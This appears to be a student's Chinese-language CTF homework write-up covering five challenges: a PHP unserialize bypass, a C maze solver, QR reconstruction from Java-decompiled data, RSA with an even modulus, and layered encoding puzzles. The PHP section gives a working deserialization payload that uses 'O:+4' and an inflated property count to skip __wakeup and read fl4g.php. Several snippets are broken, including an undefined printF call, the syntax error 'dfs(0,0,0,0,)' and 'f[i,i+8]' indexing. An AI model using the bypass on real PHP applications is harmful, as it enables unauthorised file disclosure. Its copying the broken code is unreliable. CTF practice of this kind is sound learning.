1.22作业

1

 Web-php-unserialize

 

 __construct()与$file、__destruct()

__wakeup()检查

先绕过wakeup函数：

O:4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}

1.PHP序列化的时候对public protected private变量的处理方式是不同的

public无标记，变量名不变，如s:3:"qiu";i:2;

protected在变量名前添加标记\00*\00，长度加3，如s:6:"\00*\00qiu";i:2;

private在变量名前添加标记\00(classname)\00，长度+2+类名长度，如s:17:"\00FileHandler_Z\00op";i:2;

2.正则匹配了O:4:,使用+绕过

3.base64编码

<?php
class Demo {
    private $file = 'index.php';
    public function __construct($file) {
        $this->file = $file;
    }
 
    function __destruct() {
        echo @highlight_file($this->file, true);
    }
 
    function __wakeup() {
        if ($this->file != 'index.php') {
            //the secret is in the fl4g.php
            $this->file = 'index.php';
        }
    }
}
 
$Q=new Demo("fl4g.php");
$Q=serialize($Q);  //序列化
$Q=str_replace("O:4","O:+4",$Q);  //+号绕过
$Q=str_replace(":1:{",":2:{",$Q);  // wakeup绕过
$Q=base64_encode($Q);  //base64绕过
echo $Q;
?>

2

#include<stdio.h>
#include<string.h>
char map[7][6][5]={
                    {"EOO##","#####","#####","#####","#####","###O#"},
                    {"##O##","OO###","##O##","#OO##","##O##","###O#"},
                    {"##OOO","#OO##","##O##","OO###","##O##","###O#"},
                    {"#O###","O####","#O###","O####","##O##","####O"},
                    {"#O###","O####","#O###","O####","##OO#","#OO##"},
                    {"#OOO#","###O#","###O#","###O#","###O#","#O##O"},
                    {"#####","###A#","#####","#####","#####","#OOOO"},
};
//起点坐标(0,0,0),终点坐标(2,3,4)
char a[50] = {0};
int visit[7][6][5] = {0};

void printf(int k){
    int i;
    char str[] = {12,6,18,20,31,38,30,61,17,22,85,43,3,6,41,20,0,14};
    for(i=0 ; i<k ;i++)
    {
    printf("%c",a[i]^str[i]);
    }
    putchar('\n');
}

void dfs(int x ,int y ,int z, int k){
    int i;
    int dx,dy,dz;
    if(map[x][y][z] == 'A'){
        printF(k);
        return ;
    }

    for(i=0 ; i<6 ; i++) {
        dx = x;
        dy = y;
        dz = z;
        switch ( i ){
            case 0:
            dx++;
            a[k] = 's';
            break;
            case 1:
            dx--;
            a[k] = 'w';
            break;
            case 2:
            dy--;
            a[k] = 'a';
            break;
            case 3:
            dy++;
            a[k] = 'd';
            break;
            case 4:
            dz++;
            a[k] = 'j';
            break;
            case 5:
            dz--;
            a[k] = 'k';
            break;
        }
        if(dx>=0 && dx<=6 && dy>=0 && dy<=5 && dz>=0 && dz<=5)
            if((!visit[dx][dy][dz] && map[dx][dy][dz] == 'O' )|| map[dx][dy][dz]== 'A'){
                visit[dx][dy][dz] = 1;
                dfs(dx , dy , dz , k+1);
                visit[dx][dy][dz] = 0;//回溯
            }
    }
}



int main(){
    visit[0][0][0]=1;
    dfs(0,0,0,0,);
    return 0;
}

3BINARY:

java反编译

Release 1.3.1 · skylot/jadx · GitHub

flag_list = [77, 68, 65, 119, 77, 68, 65, 119, 77, 68, 69, 119, 77, 84, 69, 120, 77, 68, 65, 119, 77, 68, 65, 119, 77, 68, 65, 120, 77, 84, 69, 120, 77, 84, 69, 119, 77, 84, 69, 120, 77, 68, 65, 119, 77, 68, 65, 119, 77, 70, 120, 117, 77, 68, 69, 120, 77, 84, 69, 120, 77, 68, 69, 119, 77, 84, 69, 119, 77, 84, 65, 120, 77, 68, 69, 120, 77, 84, 69, 120, 77, 68, 65, 119, 77, 84, 69, 120, 77, 68, 69, 120, 77, 68, 69, 120, 77, 84, 69, 120, 77, 70, 120, 117, 77, 68, 69, 119, 77, 68, 65, 120, 77, 68, 69, 119, 77, 68, 65, 119, 77, 84, 69, 120, 77, 84, 65, 119, 77, 68, 69, 120, 77, 84, 65, 120, 77, 68, 69, 120, 77, 68, 69, 120, 77, 68, 69, 119, 77, 68, 65, 120, 77, 70, 120, 117, 77, 68, 69, 119, 77, 68, 65, 120, 77, 68, 69, 120, 77, 68, 65, 119, 77, 68, 65, 120, 77, 84, 65, 119, 77, 68, 69, 120, 77, 84, 65, 119, 77, 68, 65, 119, 77, 84, 65, 120, 77, 68, 69, 119, 77, 68, 65, 120, 77, 70, 120, 117, 77, 68, 69, 119, 77, 68, 65, 120, 77, 68, 69, 120, 77, 84, 65, 120, 77, 84, 65, 120, 77, 84, 65, 119, 77, 84, 69, 119, 77, 84, 69, 119, 77, 84, 65, 120, 77, 84, 69, 120, 77, 68, 69, 119, 77, 68, 65, 120, 77, 70, 120, 117, 77, 68, 69, 120, 77, 84, 69, 120, 77, 68, 69, 119, 77, 84, 69, 120, 77, 68, 69, 119, 77, 68, 65, 119, 77, 68, 65, 119, 77, 84, 65, 119, 77, 84, 65, 119, 77, 68, 65, 120, 77, 68, 69, 120, 77, 84, 69, 120, 77, 70, 120, 117, 77, 68, 65, 119, 77, 68, 65, 119, 77, 68, 69, 119, 77, 84, 65, 120, 77, 68, 69, 119, 77, 84, 65, 120, 77, 68, 69, 119, 77, 84, 65, 120, 77, 68, 69, 119, 77, 84, 65, 120, 77, 68, 65, 119, 77, 68, 65, 119, 77, 70, 120, 117, 77, 84, 69, 120, 77, 84, 69, 120, 77, 84, 69, 119, 77, 68, 69, 119, 77, 68, 65, 119, 77, 68, 65, 119, 77, 68, 69, 119, 77, 68, 69, 120, 77, 68, 65, 120, 77, 84, 69, 120, 77, 84, 69, 120, 77, 84, 69, 120, 77, 86, 120, 117, 77, 84, 69, 119, 77, 68, 65, 120, 77, 68, 69, 119, 77, 84, 65, 120, 77, 68, 65, 119, 77, 68, 69, 119, 77, 84, 69, 120, 77, 84, 69, 120, 77, 68, 69, 119, 77, 68, 65, 119, 77, 68, 65, 120, 77, 84, 65, 119, 77, 70, 120, 117, 77, 68, 69, 119, 77, 84, 69, 119, 77, 84, 65, 119, 77, 68, 69, 120, 77, 68, 65, 120, 77, 68, 65, 120, 77, 68, 65, 119, 77, 68, 69, 119, 77, 68, 69, 120, 77, 68, 69, 119, 77, 84, 65, 120, 77, 84, 69, 119, 77, 86, 120, 117, 77, 84, 65, 120, 77, 84, 65, 119, 77, 68, 65, 119, 77, 84, 65, 119, 77, 84, 69, 120, 77, 84, 65, 119, 77, 84, 69, 119, 77, 68, 65, 120, 77, 84, 65, 120, 77, 68, 65, 119, 77, 68, 65, 120, 77, 68, 65, 120, 77, 70, 120, 117, 77, 84, 69, 120, 77, 68, 69, 120, 77, 84, 69, 120, 77, 84, 69, 120, 77, 68, 65, 120, 77, 68, 69, 119, 77, 84, 69, 119, 77, 84, 65, 119, 77, 68, 69, 120, 77, 68, 69, 119, 77, 84, 65, 120, 77, 84, 69, 119, 77, 70, 120, 117, 77, 84, 65, 120, 77, 68, 69, 120, 77, 68, 65, 119, 77, 84, 69, 120, 77, 68, 65, 119, 77, 68, 65, 119, 77, 68, 69, 120, 77, 68, 69, 119, 77, 68, 65, 119, 77, 68, 65, 119, 77, 68, 65, 119, 77, 68, 65, 120, 77, 70, 120, 117, 77, 68, 69, 120, 77, 68, 69, 119, 77, 84, 65, 119, 77, 84, 65, 119, 77, 68, 69, 119, 77, 68, 65, 120, 77, 84, 65, 120, 77, 84, 69, 119, 77, 84, 65, 120, 77, 84, 69, 119, 77, 84, 69, 120, 77, 84, 69, 119, 77, 86, 120, 117, 77, 68, 65, 120, 77, 68, 69, 119, 77, 68, 69, 119, 77, 68, 69, 120, 77, 84, 69, 120, 77, 84, 69, 119, 77, 84, 69, 120, 77, 68, 65, 119, 77, 68, 69, 120, 77, 68, 65, 120, 77, 68, 69, 119, 77, 68, 65, 120, 77, 70, 120, 117, 77, 68, 65, 120, 77, 68, 65, 119, 77, 84, 69, 119, 77, 84, 69, 120, 77, 68, 69, 120, 77, 68, 69, 120, 77, 68, 65, 120, 77, 84, 65, 119, 77, 84, 69, 119, 77, 68, 69, 120, 77, 68, 65, 120, 77, 84, 69, 119, 77, 86, 120, 117, 77, 84, 69, 120, 77, 68, 69, 119, 77, 68, 69, 120, 77, 68, 65, 119, 77, 84, 69, 120, 77, 84, 69, 120, 77, 84, 65, 120, 77, 84, 65, 120, 77, 68, 65, 120, 77, 84, 65, 119, 77, 68, 65, 119, 77, 68, 65, 120, 77, 70, 120, 117, 77, 68, 65, 119, 77, 68, 69, 120, 77, 84, 65, 120, 77, 68, 69, 119, 77, 68, 65, 120, 77, 84, 69, 119, 77, 68, 65, 119, 77, 68, 69, 119, 77, 84, 69, 119, 77, 84, 69, 120, 77, 84, 69, 120, 77, 68, 69, 120, 77, 86, 120, 117, 77, 84, 69, 119, 77, 84, 69, 119, 77, 68, 69, 120, 77, 68, 69, 119, 77, 84, 69, 119, 77, 84, 65, 119, 77, 84, 69, 119, 77, 68, 65, 120, 77, 68, 69, 119, 77, 68, 69, 120, 77, 68, 65, 119, 77, 68, 69, 119, 77, 70, 120, 117, 77, 68, 69, 119, 77, 84, 65, 119, 77, 84, 65, 119, 
        77, 84, 69, 120, 77, 84, 65, 119, 77, 84, 65, 119, 77, 68, 65, 119, 77, 84, 65, 119, 77, 84, 69, 120, 77, 68, 65, 120, 77, 68, 65, 120, 77, 68, 69, 120, 77, 86, 120, 117, 77, 68, 69, 119, 77, 84, 65, 120, 77, 68, 65, 120, 77, 84, 65, 119, 77, 68, 69, 120, 77, 84, 65, 119, 77, 68, 69, 120, 77, 68, 65, 120, 77, 68, 65, 119, 77, 68, 65, 120, 77, 68, 69, 119, 77, 84, 65, 119, 77, 70, 120, 117, 77, 84, 65, 119, 77, 84, 69, 119, 77, 84, 69, 120, 77, 84, 69, 119, 77, 84, 69, 120, 77, 68, 69, 120, 77, 68, 65, 120, 77, 68, 65, 120, 77, 84, 69, 120, 77, 84, 69, 119, 77, 84, 65, 120, 77, 84, 69, 119, 77, 86, 120, 117, 77, 84, 69, 119, 77, 84, 69, 119, 77, 68, 65, 120, 77, 68, 69, 120, 77, 84, 65, 119, 77, 68, 65, 119, 77, 68, 69, 119, 77, 84, 69, 120, 77, 68, 69, 120, 77, 68, 65, 119, 77, 84, 65, 120, 77, 84, 65, 120, 77, 70, 120, 117, 77, 68, 65, 120, 77, 84, 65, 119, 77, 84, 65, 119, 77, 68, 69, 120, 77, 84, 69, 119, 77, 84, 69, 119, 77, 68, 65, 120, 77, 84, 69, 120, 77, 68, 69, 119, 77, 68, 69, 119, 77, 68, 69, 120, 77, 84, 69, 119, 77, 86, 120, 117, 77, 68, 69, 119, 77, 84, 65, 119, 77, 68, 65, 119, 77, 84, 69, 120, 77, 68, 69, 119, 77, 84, 69, 120, 77, 68, 69, 120, 77, 68, 69, 119, 77, 84, 69, 120, 77, 84, 69, 120, 77, 68, 69, 119, 77, 68, 65, 120, 77, 70, 120, 117, 77, 68, 69, 119, 77, 84, 65, 120, 77, 84, 65, 120, 77, 84, 65, 119, 77, 84, 65, 119, 77, 84, 65, 119, 77, 68, 65, 119, 77, 68, 69, 120, 77, 68, 69, 119, 77, 68, 65, 120, 77, 68, 65, 120, 77, 84, 69, 120, 77, 86, 120, 117, 77, 68, 69, 120, 77, 68, 69, 119, 77, 68, 65, 120, 77, 68, 65, 119, 77, 84, 69, 120, 77, 68, 65, 120, 77, 68, 69, 120, 77, 68, 65, 120, 77, 84, 65, 120, 77, 84, 69, 120, 77, 84, 65, 119, 77, 84, 69, 119, 77, 70, 120, 117, 77, 68, 69, 120, 77, 84, 65, 119, 77, 84, 69, 120, 77, 84, 69, 119, 77, 68, 65, 119, 77, 68, 65, 120, 77, 68, 69, 120, 77, 68, 69, 120, 77, 68, 69, 120, 77, 84, 65, 119, 77, 84, 69, 120, 77, 84, 69, 119, 77, 70, 120, 117, 77, 68, 69, 119, 77, 68, 69, 120, 77, 68, 65, 120, 77, 68, 69, 120, 77, 68, 65, 120, 77, 68, 69, 119, 77, 68, 65, 120, 77, 68, 69, 120, 77, 84, 65, 120, 77, 84, 65, 119, 77, 68, 65, 119, 77, 68, 65, 119, 77, 70, 120, 117, 77, 84, 69, 120, 77, 84, 69, 120, 77, 84, 69, 119, 77, 84, 65, 120, 77, 84, 65, 119, 77, 84, 69, 120, 77, 68, 65, 120, 77, 84, 69, 119, 77, 68, 69, 119, 77, 84, 65, 120, 77, 84, 69, 119, 77, 84, 65, 120, 77, 86, 120, 117, 77, 68, 65, 119, 77, 68, 65, 119, 77, 68, 69, 120, 77, 84, 65, 119, 77, 68, 69, 120, 77, 84, 65, 120, 77, 84, 65, 120, 77, 68, 69, 120, 77, 68, 65, 119, 77, 84, 65, 120, 77, 68, 69, 119, 77, 68, 69, 119, 77, 70, 120, 117, 77, 68, 69, 120, 77, 84, 69, 120, 77, 68, 69, 120, 77, 84, 65, 119, 77, 84, 69, 119, 77, 84, 65, 120, 77, 68, 69, 120, 77, 68, 69, 119, 77, 84, 69, 119, 77, 68, 65, 120, 77, 84, 69, 119, 77, 84, 69, 120, 77, 86, 120, 117, 77, 68, 69, 119, 77, 68, 65, 120, 77, 68, 69, 119, 77, 68, 69, 120, 77, 68, 65, 119, 77, 68, 69, 120, 77, 68, 65, 120, 77, 84, 65, 120, 77, 68, 65, 119, 77, 68, 65, 119, 77, 68, 65, 119, 77, 68, 65, 120, 77, 70, 120, 117, 77, 68, 69, 119, 77, 68, 65, 120, 77, 68, 69, 119, 77, 84, 69, 120, 77, 84, 69, 119, 77, 84, 69, 119, 77, 68, 65, 120, 77, 84, 69, 120, 77, 84, 69, 120, 77, 84, 69, 120, 77, 68, 69, 119, 77, 68, 69, 120, 77, 86, 120, 117, 77, 68, 69, 119, 77, 68, 65, 120, 77, 68, 69, 119, 77, 84, 69, 119, 77, 84, 69, 120, 77, 84, 69, 120, 77, 84, 69, 119, 77, 68, 65, 119, 77, 68, 65, 120, 77, 68, 69, 119, 77, 84, 65, 120, 77, 68, 69, 120, 77, 70, 120, 117, 77, 68, 69, 120, 77, 84, 69, 120, 77, 68, 69, 120, 77, 84, 69, 120, 77, 84, 65, 119, 77, 68, 69, 119, 77, 84, 69, 119, 77, 84, 65, 119, 77, 84, 69, 120, 77, 84, 65, 119, 77, 68, 69, 120, 77, 68, 69, 120, 77, 70, 120, 117, 77, 68, 65, 119, 77, 68, 65, 119, 77, 68, 69, 120, 77, 84, 69, 120, 77, 84, 65, 120, 77, 84, 69, 120, 77, 68, 69, 120, 77, 68, 65, 119, 77, 68, 65, 119, 77, 68, 69, 119, 77, 68, 65, 120, 77, 84, 65, 119, 77, 65, 61, 61]
for i in flag_list:
	print(chr(i),end="")

 二进制转字符无果，猜测二进制转黑白像素得到图片，猜测二维码，使用Python简单爆破下图片宽高为：37

bin_data = '0000000101110000000011111101110000000011111010110101011111000111011011111001000101000011110001110101101101000100100010110000011000111000001010100010010001011101101100110110101111010001001111101011101000000010010000101111100000000101010101010101010101010000000111111110010000000010011001111111111111000101010100001011111101000000110000101101000110010010000100110101011101101100000100111100110001101000001001011101111111100101011010001101010111001010110001110000000110100000000000010011010100100010001101110101110111110100101001001111111011100001100101000100010001101110110110011001100110011101111010011000111111101101001100000001000001110101000111000001011011111101111101100110101101001100010100110000100010100100111100100000100111001001011101010100110001110001100100000101010001001101111101110110010011111101011101110110001011100000010111011000101101000110010001111011000111101001001111010101000001110101110110101111110100010010101101100100100000011010001001111101101000100011100101100110111110011000111001111100000010110110111001111100010011001011001010001011101100000000011111111010110011100111001010111010110000000111000111011010110001010100100011111011100110101011010110001110111101000101001100001100110100000000000100100010101111101100011111111110100111010001010110111111110000001010101011001111101111110001011010011110001101100000000111111011110110000000100011000'

for i in range(len(bin_data)):
	if i * i == len(bin_data):
		print(i)

from PIL import Image

bin_data = '0000000101110000000011111101110000000011111010110101011111000111011011111001000101000011110001110101101101000100100010110000011000111000001010100010010001011101101100110110101111010001001111101011101000000010010000101111100000000101010101010101010101010000000111111110010000000010011001111111111111000101010100001011111101000000110000101101000110010010000100110101011101101100000100111100110001101000001001011101111111100101011010001101010111001010110001110000000110100000000000010011010100100010001101110101110111110100101001001111111011100001100101000100010001101110110110011001100110011101111010011000111111101101001100000001000001110101000111000001011011111101111101100110101101001100010100110000100010100100111100100000100111001001011101010100110001110001100100000101010001001101111101110110010011111101011101110110001011100000010111011000101101000110010001111011000111101001001111010101000001110101110110101111110100010010101101100100100000011010001001111101101000100011100101100110111110011000111001111100000010110110111001111100010011001011001010001011101100000000011111111010110011100111001010111010110000000111000111011010110001010100100011111011100110101011010110001110111101000101001100001100110100000000000100100010101111101100011111111110100111010001010110111111110000001010101011001111101111110001011010011110001101100000000111111011110110000000100011000'

new_img = Image.new('RGB', (37,37))
width, height = 37, 37
i = 0
for w in range(width):
	for h in range(height):
		if bin_data[i] == '0':
			new_img.putpixel((w,h), (0,0,0))
		elif bin_data[i] == '1':
			new_img.putpixel((w,h), (255,255,255))
		else:
			break
		i += 1
new_img.save('flag.png')
new_img.show()

4

from Crypto.Util.number import long_to_bytes
n = 1187036881143255678002463758823328059054967286304079946698830107983054756455116137560640360907617090768892222200232769013898086641365526920365941657223719909608623612364565491394396836689005779953582737606769612044152900984410189797945160970640233269434857215156707188226644140186233117418578999649675501923158500973527860820476774162258056088176836933971626651722297419469001832141393303687831763041541298637984981484605886538085054999743028130034186150375954369138007688335922353720290223733062752735362640330007395278113210621407774253326748367183647916542260385241849328645829055161868897760626313462053770486741600871918596910274170809764858924373557759944088849747488101309508664734646761762412297919300985341470183672896494363089287897564003884864937477882116184866139314943820121458541671053111784924614354354051278861337795171453392846554516472806170955424094756390970572454084554064299959563385403753982420758416150497980281277588694172034437436874006653172021381177623273333042379989422646166480734410913148567193586525237775287519085811109666011917375279015787726665088346364963313941503929463975682736763812440239892582271133388552728034109040233071519106207594592661468817905961569517921007110971395505830618097714478302
e = 65537
ct = 795807804195143453698199351714341881491007858193124317249991960343873442402330541927355975462857321435938754440321580174443331666641181625664069405050964566344381744709294110771870536802353007022271867378658681771017152652337537847752445300535171488167996282441962543976576696465573991060306807268553659109840313328518099780850408480656440234846473549017585724141302898515099966486748289860601838615696366759534875502563433987281076478746704673766615604679732113066945172837918782569635525478298453073137252252807049842035005266808708242245205256476149494296039430508531375107451338401537609064664390446408507706477965483671800993119312002909135270398571898844908643483215653937390863031730605961379386046951618745731912613235578147115643378764728145934422515365821994913473759604466504627671738552946527189180057717976411101700962342930065732023681381389942592202841123754672836935980227561011259880242223658584675417448037977336301973044247690228389495603711704632306639520856078639797104835378636642939190389932673963835980987694812947833691746134338765367684261289851826492260573430796933048931658801423183863572727478714738535956082504958502080116828296338104460121704114347331800007862970894127699814246457589160922514051314061
 
p = n // 2
phi = p - 1
d = pow(e, -1, phi)
pt = pow(ct, d, n)
flag = long_to_bytes(pt)
print(f"4T{{{flag.decode()}}}")

5

T1S8D-4X^)K5;.#8P42X&-48L0YA0.$,E52PJ/40M)IE!+$8S43DM.4$M4ZE!
+.$,F03DJ15T*8`O`
`

UUdecode解密

凯撒，但二进制

with open('cipher.txt') as f:
    f = f.read()
    for i in range(0,len(f),8):
        print(f[i,i+8])
        print(chr(int(f[i:i+8],2)),end="")

8为二进制一组，发现最后一组少了一位，在二进制数据前加一个0【第一个就错了，是最后一组的前面】

全大写，base32

c5f09ce5ef9cadb3b3b1a89cddeae09cc9eeaa9cc6ddeef2e5ef9cc8ebeeeef59ce5ef9cf0eeddf2e1e8e5eae39cf0eb9cc0ebf2e1ee9cf0eb9ce9e1e1f09cc8f1dfe5e19cc9ddeae1f0f0e1aa9cc4e19cf0e1e8e8ef9ce4e1ee9cf0e4ddf09cefe4e19ce5ef9ceaebf09cddea9cebeeece4ddea9cddef9cefe4e19ce4dde09cdee1e1ea9cf0ebe8e09ce2eeebe99cdd9cf5ebf1eae39cdde3e1aa9ce2e8dde3f7b2e1b1e0b2e1afb5deb1aee0b5e1b3e1acdfb2b3adb1afddb2acdfdeb1dfafdff99cc4e19ceaebf39cefddf5ef9cf0e4ddf09ce4e19cf3e5e8e89cf0eeddf2e1e89cf3e5f0e49ce4e1ee9cf0eb9cccddeee5ef9cf0eb9ce9e1e1f09ce4e1ee9ce2ddf0e4e1eea89cf3e4eb9ce4ddef9ceee1dfe1eaf0e8f59cdee1e1ea9ceee1e8e1ddefe1e09ce2eeebe99cf0e4e19cbeddeff0e5e8e8e1aa
#得到一组hex，凯撒

        移位操作

with open('cipher.txt') as f:
    f = f.read()
    for sub in range(200):
        flag = ''
        for i in range(0,len(f),2):
            data = int(f[i:i+2],16)
            data = data - sub
            try:
                flag += chr(data)
            except:
                pass
        if 'flag{' in flag:
            print(flag)
        else:
            pass

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